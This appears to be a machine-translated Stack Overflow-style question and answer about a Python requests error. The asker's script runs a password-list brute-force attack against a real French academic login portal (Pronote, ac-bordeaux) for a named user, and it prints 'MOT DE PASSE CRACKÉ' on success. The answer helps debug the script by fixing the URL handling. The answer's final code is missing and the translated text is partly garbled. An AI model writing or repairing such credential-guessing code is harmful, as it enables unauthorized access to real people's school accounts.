解析失败:<响应 [200]>

时间:2021-06-05 15:29:55

标签: python python-3.x http python-requests runtime-error

请帮助我我不知道如何使用请求

这是代码:

import requests

url = requests.get("https://idp-fim-aaa.ac-bordeaux.fr/login/ct_logon_mixte.jsp?CT_ORIG_URL=%2Fsso%2FSSO%3FSPEntityID%3Dhttps%3A%2F%2Fent2d.ac-bordeaux.fr%2Fshibboleth%26TARGET%3Dhttps%3A%252F%252F0333287U.index-education.net%252Fpronote%252Feleve.html%26RelayState%3Dhttps%3A%252F%252F0333287U.index-education.net%252Fpronote%252Feleve.html")
arq = open('word.txt','r').readlines()

for line in arq:
    password = line.strip()
    http = requests.post(url, data={'user':'bisch', 'password':password, 'button':'submit'})
    content = http.content
    if "Identifiant ou mot de passe incorrect" in content:
        print("[-]Invalide : "+password)
    else:
        print("================== [+] MOT DE PASSE CRACKÉ : "+password+"===========")
        break

我得到了这个:

<块引用>

回溯(最近一次调用最后一次):文件“F:\Program Files (x86)\py\lib\site-packages\requests\models.py”,第 382 行,在 准备网址 方案、身份验证、主机、端口、路径、查询、片段 = parse_url(url) 文件“F:\Program Files (x86)\py\lib\site-packages\urllib3\util\url.py”,第 394 行,在 解析网址 return Six.raise_from(LocationParseError(source_url), None) File "", line 3, in raise_from urllib3.exceptions.LocationParseError:解析失败:<响应 [200]>

在处理上述异常的过程中,又发生了一个异常:

回溯(最近一次调用最后一次):文件“F:/Program Files (x86)/py/Hack pronote/Pronote v3/Pronote.py”,第 8 行,在 http = requests.post(url, data={'user':'bisch', 'password':password, 'button':'submit'}) File "F:\Program Files (x86)\py\lib\site-packages\requests\api.py”,第 119 行,在帖子中 return request('post', url, data=data, json=json, **kwargs) File "F:\Program Files (x86)\py\lib\site-packages\requests\api.py", line 61, 请求 返回 session.request(method=method, url=url, **kwargs) 文件 "F:\Program Files (x86)\py\lib\site-packages\requests\sessions.py", 第 528 行,请求中 prep = self.prepare_request(req) File "F:\Program Files (x86)\py\lib\site-packages\requests\sessions.py", line 456, in 准备请求 p.prepare( File "F:\Program Files (x86)\py\lib\site-packages\requests\models.py", line 316, in prepare self.prepare_url(url, params) 文件“F:\Program Files (x86)\py\lib\site-packages\requests\models.py”,第 384 行,在 准备网址 引发 InvalidURL(*e.args) requests.exceptions.InvalidURL:解析失败:

1 个答案:

答案 0 :(得分:0)

正如@Iarsks 所说,这是一个问题,您尝试使用 URL 变量,但 URL 变量不是字符串而是一个对象,请求对象是特定的。

如果我理解你的代码,我和@Iarsks 所说的,你可能不理解请求是如何工作的,因为你似乎试图在不需要的时候以某种方式声明一个 URL。为简化起见,您只需要这样的 URL 字符串:

url = "https://idp-fim-aaa.ac-bordeaux.fr/login/ct_logon_mixte.jsp?CT_ORIG_URL=%2Fsso%2FSSO%3FSPEntityID%3Dhttps%3A%2F%2Fent2d.ac-bordeaux.fr%2Fshibboleth%26TARGET%3Dhttps%3A%252F%252F0333287U.index-education.net%252Fpronote%252Feleve.html%26RelayState%3Dhttps%3A%252F%252F0333287U.index-education.net%252Fpronote%252Feleve.html"

没有 requests.get() 函数。

所以你可以更好地理解这个库有两个主要使用的请求方法GETPOST,还有更多,但在这里只说这两个,其中{{1 }} 是您想要从网站获取信息,例如,来自 API 的 JSON 文件,GET 是您想要保存或发送一些新数据到 API 或网页。

无论如何,我建议您阅读有关请求的基础知识以及后端如何处理它们的内容,以便在您自己开始使用请求之前了解并了解其工作原理。

如果我的问题是正确的,以下代码应该可以解决您的问题:

POST